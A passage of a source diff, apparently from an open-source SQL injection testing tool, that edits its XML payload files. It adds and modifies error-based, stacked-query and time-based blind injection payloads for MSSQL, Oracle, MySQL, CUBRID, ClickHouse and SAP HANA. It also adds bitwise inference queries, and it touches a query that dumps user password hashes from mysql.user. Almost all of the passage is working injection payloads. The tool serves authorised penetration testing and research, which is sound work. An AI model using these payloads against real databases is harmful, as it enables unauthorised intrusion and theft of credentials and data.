             <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -1495,7 +1792,7 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
+        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
         <request>
             <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
         </request>
@@ -1544,13 +1841,29 @@
             <dbms>IBM DB2</dbms>
         </details>
     </test>
-    <!--
-         TODO: if possible, add payload for SQLite, Microsoft Access
-         and SAP MaxDB - no known techniques at this time
-    -->
     <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
 
     <!-- Error-based tests - stacking -->
+    <test>
+        <title>Microsoft SQL Server error-based - Stacking (RAISERROR)</title>
+        <stype>2</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE(([QUERY]),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</vector>
+        <request>
+            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'%','%%')+'[DELIMITER_STOP]');RAISERROR(@[RANDSTR],16,1)</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
         <stype>2</stype>

data/xml/payloads/inline_query.xml

@@ -141,7 +141,7 @@
         <risk>1</risk>
         <clause>1,2,3,8</clause>
         <where>3</where>
-        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
+        <vector>('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]')</vector>
         <request>
             <payload>('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
         </request>

data/xml/payloads/stacked_queries.xml

@@ -207,7 +207,7 @@
         <title>PostgreSQL &lt; 8.2 stacked queries (Glibc - comment)</title>
         <stype>4</stype>
         <level>3</level>
-        <risk>1</risk>
+        <risk>3</risk>
         <clause>1-8</clause>
         <where>1</where>
         <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
@@ -229,7 +229,7 @@
         <title>PostgreSQL &lt; 8.2 stacked queries (Glibc)</title>
         <stype>4</stype>
         <level>5</level>
-        <risk>1</risk>
+        <risk>3</risk>
         <clause>1-8</clause>
         <where>1</where>
         <vector>;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)</vector>
@@ -328,6 +328,48 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (no semicolon)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector> IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
+        <request>
+            <payload> WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
         <stype>4</stype>

data/xml/payloads/time_blind.xml

@@ -11,9 +11,9 @@
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -31,9 +31,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -51,9 +51,9 @@
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>AND SLEEP([SLEEPTIME])</payload>
+            <payload>AND !SLEEP([SLEEPTIME])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -71,9 +71,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>OR SLEEP([SLEEPTIME])</payload>
+            <payload>OR !SLEEP([SLEEPTIME])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -91,9 +91,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>AND SLEEP([SLEEPTIME])</payload>
+            <payload>AND !SLEEP([SLEEPTIME])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -112,9 +112,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
+        <vector>OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])</vector>
         <request>
-            <payload>OR SLEEP([SLEEPTIME])</payload>
+            <payload>OR !SLEEP([SLEEPTIME])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -133,9 +133,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -154,9 +154,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -339,9 +339,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
+        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
         <request>
-            <payload>RLIKE SLEEP([SLEEPTIME])</payload>
+            <payload>RLIKE !SLEEP([SLEEPTIME])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -359,9 +359,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
+        <vector>RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))</vector>
         <request>
-            <payload>RLIKE SLEEP([SLEEPTIME])</payload>
+            <payload>RLIKE !SLEEP([SLEEPTIME])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -380,9 +380,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -400,9 +400,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -421,9 +421,9 @@
         <risk>1</risk>
         <clause>1,2,3,8,9</clause>
         <where>1</where>
-        <vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -441,9 +441,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -460,9 +460,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>AND ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -480,9 +480,9 @@
         <risk>3</risk>
         <clause>1,2,3,9</clause>
         <where>1</where>
-        <vector>OR ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
             <comment>#</comment>
         </request>
         <response>
@@ -1092,6 +1092,45 @@
         </details>
     </test>
 
+    <test>
+        <title>CUBRID AND time-based blind (SLEEP)</title>
+        <stype>5</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,8,9</clause>
+        <where>1</where>
+        <!-- db_root (Cubrid-only catalog) anchors SLEEP so it fires only on Cubrid, not on MySQL which also has SLEEP -->
+        <vector>AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Cubrid</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>CUBRID OR time-based blind (SLEEP)</title>
+        <stype>5</stype>
+        <level>1</level>
+        <risk>1</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Cubrid</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Firebird &gt;= 2.0 AND time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -1494,6 +1533,44 @@
         </details>
     </test>
 
+    <test>
+        <title>ClickHouse AND time-based blind (sleepEachRow)</title>
+        <stype>5</stype>
+        <level>4</level>
+        <risk>1</risk>
+        <clause>1,2,3</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>ClickHouse OR time-based blind (sleepEachRow)</title>
+        <stype>5</stype>
+        <level>5</level>
+        <risk>3</risk>
+        <clause>1,2,3</clause>
+        <where>2</where>
+        <vector>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(if(([INFERENCE]),1,0))=0 SETTINGS max_block_size=1)</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT count() FROM numbers([SLEEPTIME]) WHERE sleepEachRow(1)=0 SETTINGS max_block_size=1)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>ClickHouse</dbms>
+        </details>
+    </test>
+
     <test>
         <title>ClickHouse AND time-based blind (heavy query)</title>
         <stype>5</stype>
@@ -1586,9 +1663,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
+        <vector>(CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1606,9 +1683,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
+        <vector>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
         <request>
-            <payload>(SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
+            <payload>(SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1626,9 +1703,9 @@
         <risk>2</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
+        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -1666,9 +1743,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>([INFERENCE] AND SLEEP([SLEEPTIME]))</vector>
+        <vector>([INFERENCE] AND !SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))</payload>
+            <payload>([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1685,9 +1762,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>ELT([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>ELT([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1704,9 +1781,9 @@
         <risk>1</risk>
         <clause>1,2,3,9</clause>
         <where>3</where>
-        <vector>MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))</vector>
+        <vector>MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))</payload>
+            <payload>MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -1776,6 +1853,26 @@
     </test>
 
     <!-- Without parentesis because it never works with them, useful to exploit SQL injection in Oracle E-Business Suite Financials -->
+    <!-- DBMS_SESSION.SLEEP is granted to PUBLIC on Oracle 18c+ (unlike DBMS_LOCK.SLEEP, which needs an explicit grant); tried first so modern targets get a no-privilege delay, falling back to DBMS_LOCK.SLEEP on older releases -->
+    <test>
+        <title>Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP)</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>1,3,9</clause>
+        <where>3</where>
+        <vector>BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</vector>
+        <request>
+            <payload>BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)</title>
         <stype>5</stype>
@@ -1980,9 +2077,9 @@
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
+        <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
         <request>
-            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
+            <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
@@ -2072,6 +2169,25 @@
         </details>
     </test>
 
+    <test>
+        <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP)</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>1</risk>
+        <clause>2,3</clause>
+        <where>1</where>
+        <vector>,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</vector>
+        <request>
+            <payload>,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;)</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)</title>
         <stype>5</stype>
@@ -2170,5 +2286,82 @@
         </details>
     </test>
 
+    <test>
+        <title>SAP HANA AND time-based blind (heavy query)</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>2</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>SAP HANA</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>SAP HANA OR time-based blind (heavy query)</title>
+        <stype>5</stype>
+        <level>3</level>
+        <risk>3</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
+        <request>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>SAP HANA</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>SAP HANA AND time-based blind (heavy query - comment)</title>
+        <stype>5</stype>
+        <level>5</level>
+        <risk>2</risk>
+        <clause>1,2,3,9</clause>
+        <where>1</where>
+        <vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
+        <request>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>SAP HANA</dbms>
+        </details>
+    </test>
+
+    <test>
+        <title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
+        <stype>5</stype>
+        <level>5</level>
+        <risk>2</risk>
+        <clause>1,2,3,9</clause>
+        <where>3</where>
+        <vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
+        <request>
+            <payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
+        </request>
+        <response>
+            <time>[DELAYED]</time>
+        </response>
+        <details>
+            <dbms>SAP HANA</dbms>
+        </details>
+    </test>
+
     <!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
 </root>

data/xml/queries.xml

@@ -20,6 +20,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <hex query="HEX(%s)"/>
         <inference query="ORD(MID((%s),%d,1))>%d"/>
+        <bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))&gt;&gt;MOD(%s-%s,%s))&amp;1)=1"/>
+        <bitchar query="((ORD(MID((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
+        <bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
         <banner query="VERSION()"/>
         <current_user query="CURRENT_USER()"/>
         <current_db query="DATABASE()"/>
@@ -35,8 +38,8 @@
         <!-- https://github.com/dev-sec/mysql-baseline/issues/35 -->
         <!-- https://stackoverflow.com/a/31122246 -->
         <passwords>
-            <inband query="SELECT user,authentication_string FROM mysql.user" condition="user"/>
